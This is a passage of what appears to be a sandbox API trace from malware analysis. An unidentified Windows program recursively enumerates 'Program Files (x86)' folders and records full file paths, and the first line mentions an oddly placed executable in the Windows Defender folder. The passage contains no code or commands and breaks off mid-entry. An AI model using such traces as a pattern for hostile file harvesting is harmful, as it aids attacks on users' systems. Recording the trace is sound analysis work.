lpString1="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe") returned="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe" [0040.169] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.169] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.169] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.169] lstrcmpW (lpString1="Windows Mail", lpString2=".") returned 1 [0040.169] lstrcmpW (lpString1="Windows Mail", lpString2="..") returned 1 [0040.169] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0040.169] lstrlenW (lpString="Windows Mail") returned 12 [0040.169] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Mail" | out: lpString1="c:\\Program Files (x86)\\Windows Mail") returned="c:\\Program Files (x86)\\Windows Mail" [0040.169] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\") returned="c:\\Program Files (x86)\\Windows Mail\\" [0040.169] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0040.169] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\*") returned="c:\\Program Files (x86)\\Windows Mail\\*" [0040.169] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Mail\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.169] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.169] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.169] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.169] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.169] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.169] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0040.169] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0040.170] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0040.170] lstrlenW (lpString="en-US") returned 5 [0040.170] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US") returned="c:\\Program Files (x86)\\Windows Mail\\en-US" [0040.170] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\" [0040.170] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\en-US\\") returned 42 [0040.170] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\*") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\*" [0040.170] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Mail\\en-US\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.170] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.170] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.170] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.170] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.170] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.170] lstrcmpW (lpString1="msoeres.dll.mui", lpString2=".") returned 1 [0040.170] lstrcmpW (lpString1="msoeres.dll.mui", lpString2="..") returned 1 [0040.170] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\en-US\\") returned 42 [0040.170] lstrlenW (lpString="msoeres.dll.mui") returned 15 [0040.170] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\", lpString2="msoeres.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui" [0040.170] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui") returned 57 [0040.170] lstrcpyW (in: lpString1=0x5e5c40, lpString2="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui" [0040.170] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.170] lstrcmpW (lpString1="WinMail.exe.mui", lpString2=".") returned 1 [0040.170] lstrcmpW (lpString1="WinMail.exe.mui", lpString2="..") returned 1 [0040.170] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\en-US\\") returned 42 [0040.170] lstrlenW (lpString="WinMail.exe.mui") returned 15 [0040.170] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\", lpString2="WinMail.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui" [0040.170] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui") returned 57 [0040.170] lstrcpyW (in: lpString1=0x5e5cc0, lpString2="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui") returned="c:\\Program Files (x86)\\Windows Mail\\en-US\\WinMail.exe.mui" [0040.170] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.170] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.170] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.170] lstrcmpW (lpString1="msoe.dll", lpString2=".") returned 1 [0040.170] lstrcmpW (lpString1="msoe.dll", lpString2="..") returned 1 [0040.170] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0040.170] lstrlenW (lpString="msoe.dll") returned 8 [0040.170] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="msoe.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\msoe.dll") returned="c:\\Program Files (x86)\\Windows Mail\\msoe.dll" [0040.170] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\msoe.dll") returned 44 [0040.170] lstrcpyW (in: lpString1=0x5e7b28, lpString2="c:\\Program Files (x86)\\Windows Mail\\msoe.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\msoe.dll") returned="c:\\Program Files (x86)\\Windows Mail\\msoe.dll" [0040.170] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.170] lstrcmpW (lpString1="MSOERES.dll", lpString2=".") returned 1 [0040.170] lstrcmpW (lpString1="MSOERES.dll", lpString2="..") returned 1 [0040.170] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0040.170] lstrlenW (lpString="MSOERES.dll") returned 11 [0040.170] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="MSOERES.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll") returned="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll" [0040.170] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll") returned 47 [0040.170] lstrcpyW (in: lpString1=0x5e7b90, lpString2="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll") returned="c:\\Program Files (x86)\\Windows Mail\\MSOERES.dll" [0040.170] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.171] lstrcmpW (lpString1="oeimport.dll", lpString2=".") returned 1 [0040.171] lstrcmpW (lpString1="oeimport.dll", lpString2="..") returned 1 [0040.171] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0040.171] lstrlenW (lpString="oeimport.dll") returned 12 [0040.171] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="oeimport.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll") returned="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll" [0040.171] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll") returned 48 [0040.171] lstrcpyW (in: lpString1=0x5e4b78, lpString2="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll") returned="c:\\Program Files (x86)\\Windows Mail\\oeimport.dll" [0040.171] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.171] lstrcmpW (lpString1="wab.exe", lpString2=".") returned 1 [0040.171] lstrcmpW (lpString1="wab.exe", lpString2="..") returned 1 [0040.171] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0040.171] lstrlenW (lpString="wab.exe") returned 7 [0040.171] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="wab.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wab.exe") returned="c:\\Program Files (x86)\\Windows Mail\\wab.exe" [0040.171] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\wab.exe") returned 43 [0040.171] lstrcpyW (in: lpString1=0x5e7bf8, lpString2="c:\\Program Files (x86)\\Windows Mail\\wab.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wab.exe") returned="c:\\Program Files (x86)\\Windows Mail\\wab.exe" [0040.171] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.171] lstrcmpW (lpString1="wabfind.dll", lpString2=".") returned 1 [0040.171] lstrcmpW (lpString1="wabfind.dll", lpString2="..") returned 1 [0040.171] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0040.171] lstrlenW (lpString="wabfind.dll") returned 11 [0040.171] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="wabfind.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll") returned="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll" [0040.171] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll") returned 47 [0040.171] lstrcpyW (in: lpString1=0x5e7c58, lpString2="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll") returned="c:\\Program Files (x86)\\Windows Mail\\wabfind.dll" [0040.171] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.171] lstrcmpW (lpString1="wabimp.dll", lpString2=".") returned 1 [0040.171] lstrcmpW (lpString1="wabimp.dll", lpString2="..") returned 1 [0040.171] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0040.171] lstrlenW (lpString="wabimp.dll") returned 10 [0040.171] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="wabimp.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll") returned="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll" [0040.171] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll") returned 46 [0040.171] lstrcpyW (in: lpString1=0x5e7cc0, lpString2="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll") returned="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll" [0040.171] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.171] lstrcmpW (lpString1="wabmig.exe", lpString2=".") returned 1 [0040.171] lstrcmpW (lpString1="wabmig.exe", lpString2="..") returned 1 [0040.171] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0040.171] lstrlenW (lpString="wabmig.exe") returned 10 [0040.171] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="wabmig.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe") returned="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe" [0040.171] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe") returned 46 [0040.171] lstrcpyW (in: lpString1=0x5e7d28, lpString2="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe") returned="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe" [0040.171] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.171] lstrcmpW (lpString1="WinMail.exe", lpString2=".") returned 1 [0040.171] lstrcmpW (lpString1="WinMail.exe", lpString2="..") returned 1 [0040.171] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0040.171] lstrlenW (lpString="WinMail.exe") returned 11 [0040.171] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="WinMail.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe") returned="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe" [0040.171] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe") returned 47 [0040.171] lstrcpyW (in: lpString1=0x5e7d90, lpString2="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe") returned="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe" [0040.171] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.171] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.172] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.172] lstrcmpW (lpString1="Windows Media Player", lpString2=".") returned 1 [0040.172] lstrcmpW (lpString1="Windows Media Player", lpString2="..") returned 1 [0040.172] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0040.172] lstrlenW (lpString="Windows Media Player") returned 20 [0040.172] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Media Player" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player") returned="c:\\Program Files (x86)\\Windows Media Player" [0040.172] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\") returned="c:\\Program Files (x86)\\Windows Media Player\\" [0040.172] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0040.172] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\*" [0040.172] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.172] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.172] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.172] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.172] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.172] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.172] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0040.172] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0040.172] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0040.172] lstrlenW (lpString="en-US") returned 5 [0040.172] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US" [0040.172] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\" [0040.172] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0040.172] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\*" [0040.172] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\en-US\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.172] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.172] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.172] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.172] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.172] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.172] lstrcmpW (lpString1="mpvis.dll.mui", lpString2=".") returned 1 [0040.172] lstrcmpW (lpString1="mpvis.dll.mui", lpString2="..") returned 1 [0040.172] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0040.172] lstrlenW (lpString="mpvis.dll.mui") returned 13 [0040.172] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="mpvis.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui" [0040.172] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui") returned 63 [0040.172] lstrcpyW (in: lpString1=0x5e2600, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui" [0040.172] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.172] lstrcmpW (lpString1="setup_wm.exe.mui", lpString2=".") returned 1 [0040.172] lstrcmpW (lpString1="setup_wm.exe.mui", lpString2="..") returned 1 [0040.172] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0040.172] lstrlenW (lpString="setup_wm.exe.mui") returned 16 [0040.172] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="setup_wm.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui" [0040.172] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui") returned 66 [0040.172] lstrcpyW (in: lpString1=0x5e7df8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui" [0040.173] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.173] lstrcmpW (lpString1="wmlaunch.exe.mui", lpString2=".") returned 1 [0040.173] lstrcmpW (lpString1="wmlaunch.exe.mui", lpString2="..") returned 1 [0040.173] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0040.173] lstrlenW (lpString="wmlaunch.exe.mui") returned 16 [0040.173] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="wmlaunch.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui" [0040.173] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui") returned 66 [0040.173] lstrcpyW (in: lpString1=0x5e7e88, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui" [0040.173] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.173] lstrcmpW (lpString1="WMPDMC.exe.mui", lpString2=".") returned 1 [0040.173] lstrcmpW (lpString1="WMPDMC.exe.mui", lpString2="..") returned 1 [0040.173] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0040.173] lstrlenW (lpString="WMPDMC.exe.mui") returned 14 [0040.173] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="WMPDMC.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui" [0040.173] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui") returned 64 [0040.173] lstrcpyW (in: lpString1=0x5e7f18, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui" [0040.173] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.173] lstrcmpW (lpString1="WMPDMCCore.dll.mui", lpString2=".") returned 1 [0040.173] lstrcmpW (lpString1="WMPDMCCore.dll.mui", lpString2="..") returned 1 [0040.173] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0040.173] lstrlenW (lpString="WMPDMCCore.dll.mui") returned 18 [0040.173] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="WMPDMCCore.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui" [0040.173] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui") returned 68 [0040.173] lstrcpyW (in: lpString1=0x5e7fa8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui" [0040.173] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.173] lstrcmpW (lpString1="wmplayer.exe.mui", lpString2=".") returned 1 [0040.173] lstrcmpW (lpString1="wmplayer.exe.mui", lpString2="..") returned 1 [0040.173] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0040.173] lstrlenW (lpString="wmplayer.exe.mui") returned 16 [0040.173] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="wmplayer.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui" [0040.173] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui") returned 66 [0040.173] lstrcpyW (in: lpString1=0x5e8040, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui" [0040.173] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.173] lstrcmpW (lpString1="WMPMediaSharing.dll.mui", lpString2=".") returned 1 [0040.173] lstrcmpW (lpString1="WMPMediaSharing.dll.mui", lpString2="..") returned 1 [0040.173] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0040.173] lstrlenW (lpString="WMPMediaSharing.dll.mui") returned 23 [0040.173] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="WMPMediaSharing.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui" [0040.173] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui") returned 73 [0040.173] lstrcpyW (in: lpString1=0x5e80d0, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui" [0040.173] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.173] lstrcmpW (lpString1="wmpnssci.dll.mui", lpString2=".") returned 1 [0040.173] lstrcmpW (lpString1="wmpnssci.dll.mui", lpString2="..") returned 1 [0040.173] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0040.173] lstrlenW (lpString="wmpnssci.dll.mui") returned 16 [0040.173] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="wmpnssci.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui" [0040.173] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui") returned 66 [0040.174] lstrcpyW (in: lpString1=0x5e8170, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui" [0040.174] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.174] lstrcmpW (lpString1="wmpnssui.dll.mui", lpString2=".") returned 1 [0040.174] lstrcmpW (lpString1="wmpnssui.dll.mui", lpString2="..") returned 1 [0040.174] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0040.174] lstrlenW (lpString="wmpnssui.dll.mui") returned 16 [0040.174] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="wmpnssui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui" [0040.174] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui") returned 66 [0040.174] lstrcpyW (in: lpString1=0x5e8200, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui" [0040.174] 